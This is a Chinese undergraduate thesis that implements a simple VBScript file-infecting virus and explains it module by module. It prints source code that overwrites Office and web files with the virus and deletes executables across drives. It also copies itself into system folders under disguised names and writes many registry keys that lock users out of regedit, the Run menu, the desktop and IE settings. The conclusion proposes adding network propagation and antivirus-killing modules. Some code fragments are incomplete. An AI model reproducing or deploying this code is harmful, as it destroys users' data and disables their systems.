计算机毕业论文-------一种简单的计算机病毒的实现

商丘师范学院

2010届函授本科毕业论文

一种简单的计算机病毒的实现

姓名：赵学中

院系：计算机与信息技术学院

专业：计算机科学与技术

学号：100480

指导教师：

2011年10月25日

一种简单的计算机病毒的实现

摘要

计算机病毒是干扰计算机正常运行并造成计算机软硬件故障，破坏计算机数据的能进行自我复制的计算机程序或指令集合。随着计算机在社会生活各个领域的广泛应用，计算机病毒攻击与防范技术也在不断拓展，防范计算机病毒也越来越受到高度重视。本论文从脚本病毒的基本理论和实现脚本病毒的关键技术出发，实现了一个简单的脚本病毒，深入分析了脚本病毒的机制及原理。本论文概述了计算机病毒的发展历史，发展趋势，简单介绍了实现脚本病毒所需要的VBScript，Windows脚本宿主（WSH）以及注册表的基本知识。重点讲述了该脚本病毒的工作原理以及各个模块所使用的主要技术，并以该脚本病毒的源代码为例，分析了设计思路，感染模块，破坏模块，标记模块的功能，实现了脚本病毒采用递归算法进行的搜索磁盘机制和感染机制。

关键词：计算机病毒注册表 Windows脚本宿主递归算法

1引言

近年来计算机技术高速发展，各种各样的新技术得到了应用，新技术的发展为我们带来了方便，使信息交流更加快捷有效，而病毒也随着计算机技术的广泛应用而得到了发展，从DOS到Windows 再到Internet，病毒无处不在，甚至愈演愈烈，对计算的破坏也在不断升级，研究病毒原理及结构迫在眉睫。知己知彼，百战百胜，研究计算机病毒有助于反病毒技术的发展，了解病毒的原理和结构才能清除和防治病毒，减少病毒给我们带来的损失。

本文以一个脚本病毒为例，分别解析了计算机病毒的感染模块、破坏模块、搜索模块，解析病毒程序的一般结构。分析了各模块的功能特征，以及实现了一个脚本病毒，达到对脚本病毒原理进行深入分析的目的。

此文的目的在于了解病毒的发展状况及病毒程序的设计思路，掌握病毒基础知识，使我们能够尽早的防治和尽快的发现病毒的存在，提高计算机的安全性，意义不言而喻。

2 病毒的发展史

2.1计算机病毒的发展历史

到了1987年，第一个电脑病毒C-BRAIN终于诞生了。一般而言，业界都公认这是真正具备完整特征的电脑病毒始祖。这个病毒程序是由一对巴基斯坦兄弟：巴斯特（Basit）和阿姆捷特（Amjad）所写的，他们在当地经营一家贩卖个人电脑的商店，由于当地盗拷软件的风气非常盛行，因此他们的目的主要是为了防止他们的软件被任意盗拷。只要有人盗拷他们的软件，C-BRAIN就会发作，将盗拷者的硬盘剩余空间给吃掉。

这个病毒在当时并没有太大的杀伤力，但后来一些有心人士以C-BRAIN为蓝图，制作出一些变形的病毒。而其他新的病毒创作，也纷纷出笼，不仅有个人创作，甚至出现不少创作集团（如NuKE，Phalcon/Skism，VDV）。各类扫毒、防毒与杀毒软件以及专业公司也纷纷出现。一时间，各种病毒创作与反病毒程序，不断推陈出新，百家争鸣。

2.2计算机病毒的当前状况

1．计算机网络（互联网、局域网）成为计算机病毒的主要传播途径，使用计算机网络逐渐成为计算机病毒发作条件的共同点。

计算机病毒最早只通过文件拷贝传播，当时最常见的传播媒介是软盘和盗版光碟。随着计算机网络的发展，目前计算机病毒可通过计算机网络利用多种方式（电子邮件、网页、即时通讯软件等）

进行传播。计算机网络的发展有助于计算机病毒的传播速度大大提高，感染的范围也越来越广。可以说，网络化带来了计算机病毒传染的高效率。与以前计算机病毒给我们的印象相比，计算机病毒的主动性（主动扫描可以感染的计算机）、独立性（不再依赖宿主文件）更强了。

2．计算机病毒变形的速度极快并向混合型、多样化发展

计算机病毒向混合型、多样化发展的结果是一些病毒会更精巧，另一些病毒会更复杂，混合多种病毒特征，如红色代码病毒（Code Red）就是综合了文件型、蠕虫型病毒的特性，这种发展趋势会造成反病毒工作更加困难。2004年1月27日，一种新型蠕虫病毒在企业电子邮件系统中传播，导致邮件数量暴增，从而阻塞网络。不同反病毒厂商将其命名为Novarg、Mydoom、SCO炸弹、诺威格、小邮差变种等，该病毒采用的是病毒和垃圾邮件相结合的少见战术，不知情用户的推波助澜使得这种病毒的传播速度似乎比近来其他几种病毒的传播速度要快。

3．运行方式和传播方式的隐蔽性

微软安全中心发布的漏洞安全公告中MS04-028所提及的GDI+漏洞，危害等级被定为“严重”。在被计算机病毒感染的计算机中，你可能只看到一些常见的正常进程如svchost、taskmgr等，其实它是计算机病毒进程。

4．利用操作系统漏洞传播

操作系统是联系计算机用户和计算机系统的桥梁，也是计算机系统的核心，目前应用最为广泛的是WINDOWS系列的操作系统。随着DOS操作系统使用率的减少，感染DOS操作系统的计算机病毒也将退出历史舞台；随着WINDOWS操作系统使用率的增加，针对WINDOWS操作系统的计算机病毒将成为主流。

5．计算机病毒技术与黑客技术将日益融合

严格来说，木马和后门程序并不是计算机病毒，因为它们不能自我复制和扩散。但随着计算机病毒技术与黑客技术的发展，病毒编写者最终将会把这两种技术进行了融合。

6．物质利益将成为推动计算机病毒发展的最大动力

从计算机病毒的发展史来看，对技术的兴趣和爱好是计算机病毒发展的源动力。但越来越多的迹象表明，物质利益将成为推动计算机病毒发展的最大动力。

如今，不少银行都提供网上验证或密码钥匙，用户千万不要只图节省费用而冒失去巨大资金风险。买密码钥匙或数字证书是相当必要的。

2.3计算机病毒的发展趋势

对所有脚本类病毒发展的展望：随着网络的飞速发展，网络蠕虫病毒开始流行，而VBS脚本蠕虫则更加突出，不仅数量多，而且威力大。由于利用脚本编写病毒比较简单，除了将继续流行目前的VBS脚本病毒外，将会逐渐出现更多的其它脚本类病毒，譬如PHP，JS，Perl病毒等。但是脚本并不是真正病毒技术爱好者编写病毒的最佳工具，并且脚本病毒解除起来比较容易、相对容易防范。脚本病毒仍将继续流行，但是能够具有像爱虫、新欢乐时光那样大影响的脚本蠕虫病毒只是少数。计算机病毒的发展趋势：

1．高频度

病毒疫情发作的频率高。造成较大影响的计算机病毒达到百余种之多。恶性病毒的比例大，病毒对计算机用户的危害增大；

2．传播速度快，危害面广

由于网络的特征决定了国内计算机病毒几乎与国外病毒疫情同步爆发，且迅速大面积流行。目前对用户安全威胁最大的是恶性网络蠕虫病毒

3．病毒制作技术新

与传统的计算机病毒不同的是，许多新病毒是利用当前最新的编程语言与编程技术实现，易于修改以产生新的变种，从而逃避反病毒软件的搜索。例如“爱虫”病毒是用VBScript语言编写的，只要通过Windows下自带的编辑软件修改病毒代码中的一部分，就能轻而易举地制造病毒变种，以

躲避反病毒软件的追击。

4．病毒形式多样化

病毒呈现多样化的趋势。病毒分析显示，虽然新病毒不断产生，但较早的病毒发作仍很普遍，并向卡通图片、ICQ、OICQ等方面发展。此外，新的病毒更善于伪装，如主题会在传播中改变，许多病毒会伪装成常用程序，或者将病毒代码写入文件内部长度而不发生变化，用来麻痹计算机用户。5．病毒生成工具

以往计算机病毒都是编程高手制作的，编写病毒显示自己的技术。“库尔尼科娃”病毒的设计者只是修改下载的VBS蠕虫孵化器，“库尔尼科娃”病毒就诞生了。据报道，VBS蠕虫孵化器被人们下载了十五万次以上。由于这类工具在网络上可以很容易地获得，使得现在新病毒出现的频率超出以往任何时候。

3相关工具简要介绍

3.1 WSH（Windows Script Host）介绍

VBS代码在本地是通过Windows Script Host(WSH)解释执行的。VBS脚本的执行离不开WSH，WSH 是微软提供的一种基于32位Windows平台的、与语言无关的脚本解释机制，它使得脚本能够直接在Windows桌面或者命令提示符下运行。利用WSH，用户能够操纵WSH对象、ActiveX对象、注册表和文件系统等。

1．概述

WSH，是“Windows Scripting Host”的缩略形式，其通用的中文译名为“Windows脚本宿主”。它是内嵌于Windows操作系统中的脚本语言工作环境。Windows Scripting Host 这个概念最早出现于Windows 98操作系统。MS-Dos下的批处理命令类似于如今的脚本语言。微软在研发Windows 98时，为了实现多类脚本文件在Windows界面或Dos命令提示符下的直接运行，就在系统内植入了一个基于32位Windows平台、并独立于语言的脚本运行环境，并将其命名为“Windows Scripting Host”。WSH架构于ActiveX之上，通过充当ActiveX的脚本引擎控制器，WSH为Windows 用户充分利用威力强大的脚本指令语言扫清了障碍

2．组成

WSH自带的几个内置对象包括：

由Wscript.exe提供的对象

Wscript 作为Wscript公开给脚本引擎。

WshArguments 通过Wscript.Arguments属性访问。

由WSHom.Ocx提供的对象。

WshShortcut 通过WshShell.CreateShortcut方法访问。

WshUrlShortcut 通过WshShell.CreateShortcut 方法访问。

WshCollection 通过WshNetwork.EnumNetworkDrives访问。

WshEnvironment 通过WshShell.Environment属性访问。

WshSpecialFolders 通过WshShell.Folder属性访问。

它们主要可以完成环境变量的获取，网络登陆，驱动器映射，快截方式创建，程序加载，特殊文件夹（如系统文件夹）信息获取等功能。

3．WSH的作用

WSH的设计，在很大程度上考虑到了“非交互性脚本（no interactive scripting）”的需要。在这一指导思想下产生的WSH，给脚本带来非常强大的功能，可以利用它完成映射网络驱动器、检索及修改环境变量、处理注册表项等工作；管理员还可以使用 WSH 的支持功能来创建简单的登陆脚本，甚至可以编写脚本来管理活动目录。而事实上，上述功能的实现，均与WSH内置的多个对象密切相关，这些内置对象肩负着直接处理脚本指令的重任。

3.2 VBScript语言简介

Microsoft Visual Basic Scripting Edition是程序开发语言Visual Basic 家族的最新成员，它将灵活的脚本应用于更广泛的领域，包括Microsoft Internet Explorer中的Web客户机脚本和Microsoft Internet Information Server中的Web服务器Script。

VBScript既可编写服务器脚本，也可编写客户端脚本。

客户端编程语言的优点是浏览器完成了所有的工作，这可以减轻服务器的负担，客户端程序运行起来比服务器端程序快得多。

3.3注册表基本知识

Windows注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件，注册表包含在Windows目录下两个文件system.dat和user.dat里。通过Windows目录下的regedit.exe程序可以存取注册表数据库。在以前，在windows的更早版本（在Win95以前），这些功能是靠win.ini，system.ini和其他和应用程序有关联的.ini文件来实现的

注册表（Registry）是操作系统、硬件设备以及客户应用程序得以正常运行和保存设置的核心“数据库”；是一个巨大的树状分层的数据库。它记录了用户安装在机器上的软件和每个程序的相互关联关系；它包含了计算机的硬件配置，包括自动配置的即插即用的设备和已有的各种设备说明、状态属性以及各种状态信息和数据等。

在系统中注册表是一个记录32位驱动的设置和位置的数据库。当操作系统需要存取硬件设备，它使用驱动程序，甚至设备是一个BIOS支持的设备。无BIOS支持的设备安装时必须需要驱动，这个驱动是独立于操作系统的，但是操作系统需要知道从哪里找到它们，文件名、版本号、其他设置和信息，没有注册表对设备的记录，它们就不能被使用。

WINDOWS的注册表有六大根键:

1．HKEY_USERS 该根键保存了存放在本地计算机口令列表中的用户标识和密码列表，即用户设置。每个用户的预配置信息都存储在HKEY_USERS根键中。HKEY_USERS是远程计算机中访问的根键之一。其内容取决于计算机是否激活了用户配置文件，若未激活用户配置文件，则可以看到称为.DEFAULT的单一子键，该子键包括和所有用户相关的各种设置，并且和\Windows下的USER.DAT 文件相配合。若激活了用户配置文件并且正确地执行了登录，则还有一个“用户名”的子键，该用户名为用户登录的名称。

2．HKEY_CURRENT_USER 该根键包含本地工作站中存放的当前登录的用户信息,包括用户登录用户名和暂存的密码。

3．HKEY_CURRENT_CONFIG 该根键存放着定义当前用户桌面配置(如显示器等)的数据,最后使用的文档列表（MRU）和其他有关当前用户的Windows 98中文版的安装的信息。

4．HKEY_CLASSES_ROOT 该键由多个子键组成，具体可分为两种：一种是已经注册的各类文件的扩展名，另一种是各种文件类型的有关信息。左栏中的子键就是各种已经注册的文件扩展名。注册表内己经登记的文件扩展名中，有系统默认和应用程序自定义的扩展名。应用程序只有把自定义的扩展名在注册表中登记，系统才能识别和关联使用有关的文档，但只有经过注册的扩展名，系统才能自动关联。

5．HKEY_LOCAL_MACHINE 注册表的核心，计算机的各种硬件和软件的配置均存在于此。它包括以下八个部分：Config配置、Driver驱动程序、Enum即插即用、Hardware硬件、Network网络、Security 安全、Software软件、System系统。每部分中又包括许多子键。该根键存放本地计算机硬件数据,此根键下的子关键字包括在SYSTEM.DAT中,用来提供HKEY_LOCAL_MACHINE所需的信息,或者在远程计算机中可访问的一组键中。该根键中的许多子键与System.ini文件中设置项类似.

6．HKEY_DYN_DATA 该根键存放了系统在运行时动态数据，此数据在每次显示时都是变化的，因此，此根键下的信息没有放在注册表中。

4 VBScript脚本病毒特点及原理分析

4.1 VBScript脚本病毒的特点

VBS病毒是用VBScript编写而成，该脚本语言功能非常强大，它们利用Windows系统的开放性特点，通过调用一些现成的Windows对象、组件，可以直接对文件系统、注册表等进行控制，功能非常强大。应该说病毒就是一种思想，但是这种思想在用VBS实现时变得极其容易。VBS脚本病毒具有如下几个特点：

1．编写简单，一个以前对病毒一无所知的病毒爱好者可以在很短的时间里编出一个新型病毒来。2．破坏力大。其破坏力不仅表现在对用户系统文件及性能的破坏。他还可以使邮件服务器崩溃，网络发生严重阻塞。

3．感染力强。由于脚本是直接解释执行，并且它不需要像PE病毒那样，需要做复杂的PE文件格式处理，因此这类病毒可以直接通过自我复制的方式感染其他同类文件，并且自我的异常处理变得非常容易。

4．传播范围大。这类病毒通过htm文档，Email附件或其它方式，可以在很短时间内传遍世界各地。5．病毒源码容易被获取，变种多。由于VBS病毒解释执行，其源代码可读性非常强，即使病毒源码经过加密处理后，其源代码的获取还是比较简单。因此，这类病毒变种比较多，稍微改变一下病毒的结构，或者修改一下特征值，很多杀毒软件可能就无能为力。

6．欺骗性强。脚本病毒为了得到运行机会，往往会采用各种让用户不大注意的手段，譬如，邮件的附件名采用双后缀，如“.jpg”，“.vbs”，由于系统默认不显示后缀，这样，用户看到这个文件的时候，就会认为它是一个jpg图片文件。

7．使得病毒生产机实现起来非常容易。

4.2 VBScript脚本病毒原理分析

4.2.1感染破坏文件部分

定义系统文件操作对象，通过getfolder方法得到文件夹下的所有文件，通过getextentionname方法得到所有文件的后缀名，比较后缀名，如果后缀名是“html”，“htm”，“xls”，“doc”，“ppt”，“vbs”，则将vbscopy变量写入文件，覆盖原文件的内容，实现感染功能。如果后缀名是“exe”，“com”，“bat”，则直接删除文件。递归调用上述步骤。

4.2.2修改注册表

定义修改注册表过程regcreate，调用regcreate过程实现注册表的修改

4.2.3设置感染标记

打开当前文件，读入当前文件，判断是否有“Rem You have infected by raul virus”字段。如果匹配，则该文件已经被感染，如果无匹配，则实行感染操作。感染操作为读入病毒代码。

具体步骤及实现代码请参见下一部分。

5 脚本病毒的实现

5.1 脚本病毒必要知识

FSO简介 FSO（File System Object）对象模型能对文件系统进行访问处理。该模型提供了一个基于对象的工具，通过它所提供的一系列属性和方法，可以在应用程序中更简单、灵活地对文件系统进行各种操作。

FSO对象模型包含以下几种对象：

Drive对象：允许收集系统物理或通过LAN与系统逻辑连接的硬盘、CD－ROM等驱动器的可用空间、共享名等信息。

Folder对象：允许创建、删除或移动文件夹，并向系统查询文件夹的名称、路径等。

Files对象：允许创建、删除或移动文件，并向系统查询文件的名称、路径等。

TextStream对象：允许创建和读写文本文件。

FileSystemObject对象：提供一整套用于驱动器、文件夹和文件操作的方法，在功能上可以把它看

作是上面几个对象的集合并且经常与它们配合使用。与该对象相关联的很多方法重复了前面四个对象中的方法，因此既可以通过FileSystemObject对象来对驱动器、文件夹和文件进行大多数操作，也可以通过对应的驱动器、文件夹或文件对象对这些组件进行操作。FSO模型通过两种方法实现对同一对象的操作，其操作效果是相同的，提供这种冗余功能的目的是为了实现最大的编程灵活性。

5.1.1获取文本文件对象

1．创建一个FileSystemObject对象实例要进行文件操作，首先必须创建一个FileSystemObject对象实例，用来创建或打开一个文件．创建一个FileSystemObject对象实例的具体格式为(以FSO)为例：Set FSO = CreateObject("Scripting.FileSystemObjecct")

2．用FileSystemObjec来获取文本文件对象TextStreamFileSystemObject提供了两种方法用于获取文本文件对象TextStream，其中用于创建文件的是 CreateTextFile，用于打开已存在文件的是OpenTextFile，两种方法的返回结果都是一个TextStream 对象的实例，利用该对象可以进行文件的具体操作．

①创建一个新文件

创建新文件的方法的具体格式为(以FSO为例)：

FSO.CreateTextFile(NewFileName,OverwriteExistingFile,IsUnicode)

其中：NewFileName 是一个string值，指定要建立的文件的名称，通常为文件的实际路径加文件名称。OverwriteExistingFile是一个Boolean值，表示如果有同名文件存在时是否覆盖原来的文件．该参数可以省略，缺省时为False，即不覆盖原来文件． IsUnicode 是一个Boolean值，表示要建立的文件是ASCII文件还是Unicode文件，该参数可以省略，缺省时为False，即为ASCII文件．

②打开已存在的文件

打开已存在文件的方法的具体格式为(以FSO为例)：

FSO.OpenTextFile(FileName,IOMode,create,format)其中： FileName是一个string值，指定要打开的文件的名称，通常为文件的实际路径加文件名称。IOMode是常数值，表示打开文件的目的，ForReading(1)表示用于读取数据； ForAppending表示用于增加数据．该参数可以省略，缺省时为ForReading． Create是一个Boolean值，表示要打开的文件不存在时是否创建新文件，

该参数可以省略，缺省时为False，即不创建新文件。

Format表示文件打开的方式．其可能的值及含义如下：

TristateTrue:以Unicode的方式打开。TristateFalse:以ASCII的方式打开。TristateUseDefault:以系统默认的方式打开。该参数可以省略，缺省时为TristateFalse，即ASCII 方式．

5.1.2对文件的操作

在建立或打开了文件之后，就可利用对象TextStream提供的方法进行文件的实际操作了．

1．用于写操作的方法有：

①Write(string) 将由string指定的字符串写入到文件中。

②WriteLine(string) 在文件中写入由string指定的字符串，并写入一个换行字符。

参数string可以省略，此时将在文件中插入一个空行。

③WriteBlankLines(NumOfLines) 在文件中插入若干空行，行数由NumOfLines指定。

2．用于读操作的方法和属性方法有：

①AtEndOfLine 该属性是一个Boolean值，表示文件指针是否已指向当前行的行尾。

②AtEndOfStream该属性是一个Boolean值，表示文件指针是否已指向文件尾。

③Column该属性是一个整数值，表示文件指针在当前行中的位置。

④Line该属性是一个整数值，表示文件指针所在行的行号。

⑤Read(NumOfCharacters)该方法从文件当前位置开始，读入由NumOfCharacters数目指定的若干字符，返回一个字符串。

⑥ReadLine该方法从文件当前位置开始，读入当前行的内容直到行尾，返回一个字符串。

⑦ReadAll该方法从当前位置开始，读入整个文件的内容直到文件结束，返回一个字符串。

⑧Skip该方法从文件当前位置开始，跳过由NumOfCharacters数目指定的若干字符。

⑨SKipLine该方法从文件当前位置开始，跳过当前行的内容。

3．用于关闭文件的方法有： Close 关闭已经建立或打开的文件。

5.2 功能流程图

脚本病毒程序流程：首先是初始化工作及创建主函数过程，其次是搜索文件，选择某一文件并判断感染条件，如果已经感染，则结束感染破坏文件模块，并选择下一文件。如果未感染，则执行感染破坏文件模块，再选择下一文件。并使用递归算法调用搜索文件模块本身，对子文件夹进行操作。对磁盘搜索，文件感染破坏操作完成后，执行注册表修改操作，最后结束程序。

5.3 设计思路

1．初始化部分：定义相关全局变量。

2．主函数部分：使用系统文件操作（FSO）对象来对各个文件进行操作，调用scan过程，磁盘遍历过程，注册表操作过程。

3．文件搜索部分：使用系统文件操作对象，通过调用getfolder方法，得到路径下的文件，再用递归算法，调用过程本身，实现对自文件夹的访问。

4．文件破坏部分：判断文件后缀，如果符合条件，执行删除操作。

5．文件感染部分：如果文件未感染，则将脚本病毒自身代码覆盖源文件，实现对目标文件的感染。6．注册表操作部分：创建注册表键值修改过程，再调用该过程对注册表进行修改操作。

5.4 功能模块实现

5.4.1主函数模块

该模块主要用到的对象：

CreateObject对象创建注册表对象

该模块主要用到的方法：

RegRead 方法读注册表键值

Regcreate 方法创建注册表键值

代码解析：

主函数模块首先创建了对注册表操作的对象，再调用regread方法和regcreate方法，对执行VBScript脚本的Windows脚本宿主程序进行超时设置，加入防止操作超时的操作。然后将病毒文件复制到windows目录和system32目录下备份。再调用感染文件模块，破坏文件模块，注册表操作模块。

关键代码如下：

main()

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("WScript.Shell")

rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting

Host\Settings\Timeout")

if (rr>=1) then

wscr.regcreate"HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting

Host\Settings\Timeout", 0 ,"REG_DWORD"

'注释 - 防止操作超时造成的程序终止。

end if

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

'获取系统关键文件夹的名称

Set c = fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\MSKernel32.vbs")

c.Copy(dirwin&"\Win32DLL.vbs")

c.Copy(dirsystem&"\raul.TXT.vbs")

'复制自身到关键目录中备用。

m = msgbox("The virus is scanning!",0,"raul-virus")

'弹出警告窗口，病毒正在执行搜索功能

scan("C: ")

m = msgbox("The virus is deleting your file!",0,"raul-virus")

delete("C: ")

scan("D: ")

delete("D: ")

scan("E: ")

delete("E: ")

scan("F: ")

delete("F: ")

regruns()

end sub

5.4.2感染文件模块

该模块主要用到的对象：

Filesystemobject对象系统文件操作对象

Files 对象文件夹中所有文件的集合

该模块主要用到的方法：

GetFolder 方法返回指定的文件夹对象

Getextensionname 方法返回包含文件扩展名的字符串

Opentextfile 方法打开指定的文件

GetBaseName 方法返回文件的基本名

GetFile 方法返回指定的文件

Write 方法将指定内容写入字符串

Copy 方法复制指定的文件

代码解析：

脚本病毒可以直接通过复制自身代码来感染文件。病毒中的绝大部分代码都可以直接加在另一程序中间。以下这部分代码就是感染文件模块的关键代码：

1．首先定义系统文件操作fso。

2．然后调用opentextfile方法打开一个文件，并将该文件复制给raul对象。

3．判断文件名后缀，如果是html,htm,xls,vbs,doc,ppt，则调用write方法，将满足上述后缀名的文件打开，并将病毒自身代码写入文件，实现感染操作。

4．之后调用getbasename方法得到要感染的文件的名称。

5．再将这个字符串覆盖写到源目标文件，并创建一个以源目标文件名为文件名前缀、以“vbs”为

后缀的新文件。

6．最后删除源目标文件。

关键代码如下：

dim file,fc,raul,aname

set fso = wscript.createobject("scripting.filesystemobject")

set folder = fso.getfolder(lujing)

set fc = folder.Files

ext=fso.getextensionname(file.path)

ext=lcase(ext)

if(ext="html")or(ext="htm")or(ext="xls")or(ext="vbs")or(ext="doc")or(ext="ppt

")then

set raul=fso.OpenTextFile(f1.path,2,true)

raul.write vbscopy

raul.close

aname=fso.GetBaseName(f1.path)

set cop=fso.GetFile(f1.path)

cop.copy(lujing &"\"&aname&".vbs")

5.4.3搜索文件模块

该模块主要用到的对象：

Filesystemobject对象系统文件操作对象

Files对象文件夹中所有文件的集合

该模块主要用到的方法：

Getfolder方法返回指定路径中的文件夹对象

Subfolders属性返回由指定子文件夹组成的文件夹集合

代码解析：

1．首先本模块内定义了系统文件操作对象fso。

2．然后调用getfolder方法，得到需要搜索的路径（scan过程里面的参数即需要搜索的路径）的那个文件夹，并将该文件夹对象附给变量folder。

3．再引用files属性，得到文件夹下面的所有子文件组成的文件集合，并将该对象附给变量fc。4．再通过for循环语句，实现对fc（文件集合）下的所有文件依次进行感染标记判断，破坏，感染等操作。

5．接下来引用subfolders属性，将子文件夹集合这个对象附给变量sf。

6．通过for循环语句，并且调用scan过程（递归算法），该递归算法能够遍历整个分区的目录和文件。实现对sf（文件集合）下所有文件的依次操作。从而达到搜索整个文件夹的目的。

关键代码如下：

Sub scan (lujing)

On error resume next

Dim file,fc

Set fso = wscript.createobject(“scripting.filesystemobject”)

Set folder = fso.getfolder(lujing)

Set fc = folder.files

For each file in fc

/*脚本病毒感染及删除模块语句*/

Next

Set sf = folder.subfolders

For each file in sf

Scan(file)

Next

End sub

5.4.4破坏模块

该模块主要用到的对象：

Filesystemobject对象系统文件操作对象

Files对象文件夹中所有文件的集合

该模块主要用到的方法：

Deletefile方法删除指定的文件

代码解析：

1．首先定义系统文件操作fso。

2．调用getfolder方法，得到指定路径下的文件夹。

3．对于文件夹下的每一个文件判断文件名后缀，如果是exe,com,bat，则调用deletefile方法，将满足上述文件名后缀的文件直接删除，实现破坏功能。

关键代码如下：

Sub delete (lujing)

On error resume next

Dim file,fc

Set fso = wscript.createobject(“scripting.filesystemobject”)

Set folder = fso.getfolder(lujing)

Set fc = folder.files

For each file in fc

if (ext="exe") or (ext="com") or (ext="bat") then

fso.deletefile(file.path)

Next

End sub

5.4.5注册表操作模块

该模块主要用到的函数：

CreateObject函数创建注册表对象

该模块主要用到的方法：

Regwrite方法对指定的注册表项写入值代码解析：

1．该模块首先定义了创建注册表键值过程。调用createobject函数创建了注册表修改对象。调用regwrite方法，写入注册表的键值。

2．在regruns过程中调用了regcreate过程，执行禁止运行菜单，禁止关闭系统菜单，开机自动运行等操作，以及对IE修改的操作。

关键代码如下：

sub regcreate(regkey,regvalue)

Set regedit = CreateObject("WScript.Shell")

regedit.RegWrite regkey,regvalue

end sub

sub regruns()

regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"R EG_DWORD" '禁止运行菜单

regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1, "REG_DWORD" '禁止关闭系统菜单

regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",6 3000000,"REG_DWORD" '隐藏盘符

regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegist ryTools",1,"REG_DWORD" '禁止使用注册表编辑器

regcreate"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry",1,"REG_DWOR D" '禁止使用注册表扫描

regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1 ,"REG_DWORD" '禁止注销菜单

regcreate"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","Win32system .vbs" '开机自动运行

regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop", 1,"REG_DWORD" '禁止显示桌面所有图标

regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled", 1,"REG_DWORD" '禁止dos

regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBa r",1,"REG_DWORD" '禁止任务栏和开始

regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewConte xtMenu",1,"REG_DWORD" '禁止右键菜单

regcreate"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolder s",1,"REG_DWORD" '禁止控制面板

regcreate"HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption", "kkhk" '开机对话提示框标题

regcreate"HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","ij " '开机对话提示框内容

'下面是相关IE操作

regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoBrowserCont extMenu",1,"REG_DWORD" 禁止IE右键菜单

regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoBrowserOpti ons",1,"REG_DWORD" 禁止Internet选项

regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoBrowserSave As",1,"REG_DWORD" 禁用另存为菜单

regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoFileOpen",1 ,"REG_DWORD" 禁用文件打开菜单

regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\Cache Internet",1,"REG_DWORD" 禁止更改临时文件设置

regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\AutoConfig",1 ,"REG_DWORD" 禁止更改自动配置

regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\HomePage",1," REG_DWORD" 禁止更改主页

regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\History",1,"R EG_DWORD" 禁止更改历史记录设置

regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\Restrictions\NoViewSource" ,1,"REG_DWORD" 禁止查看源文件

regcreate"HKCU\Software\Policies\Microsoft\InternetExplorer\ControlPanel\SecurityTab", 1,"REG_DWORD" 禁止安全项

end sub

5.4.6感染标记模块

该模块主要用到的对象：

Filesystemobject 对象创建系统文件操作对象

该模块主要用到的方法：

Opentextfile 方法打开指定的文件

Readall 方法读入文件并返回字符串

Write 方法向文件写入特定字符串

代码解析：

该模块首先定义匹配函数Sc，其中使用了InStr函数，该函数用于判断文件中是否有定义的“You have infected by raul virus”字符串，如果匹配，则返回True，并附给Sc，如果不匹配，则返回False，附给Sc。

该模块接着定义了Fw过程，首先定义了系统文件操作对象，再调用OpenTextFile方法，打开路径中指定的文件，再用readall方法，读入文件流，调用匹配函数，判断是否匹配。如果匹配则说明已经感染，可以继续判断下一文件，如果不匹配则说明未感染，则执行感染和破坏文件模块。

结论

本文主要分析了脚本病毒的基本原理，并对脚本病毒的主要技术做了描述。实现了一个简单的脚本病毒。该脚本病毒由VBScript脚本语言编写，该代码包括脚本病毒的感染模块，破坏模块，搜索文件模块，标记模块。

由于本脚本病毒只在本地磁盘上传播，未来开发方向为增加网络传播模块，加强病毒的传染性。加强病毒自身的防御能力，增加杀掉杀毒软件进程的模块。

参考文献

[1]张仕斌,谭三.网络安全技术[M].北京：清华大学出版社,2004。

[2]张有生,米安然.计算机病毒与木马程序设计剖析[M].北京:北京科海电子出版社,2003。

[3]张汉亭.计算机病毒与反病毒技术[M].北京:清华大学出版社,1996。

[4]袁忠良.计算机病毒防止技术[M].北京:清华大学出版社,1998。

[5]易鸿. 电脑病毒现查现杀[M].北京:中国物资出版社,1999。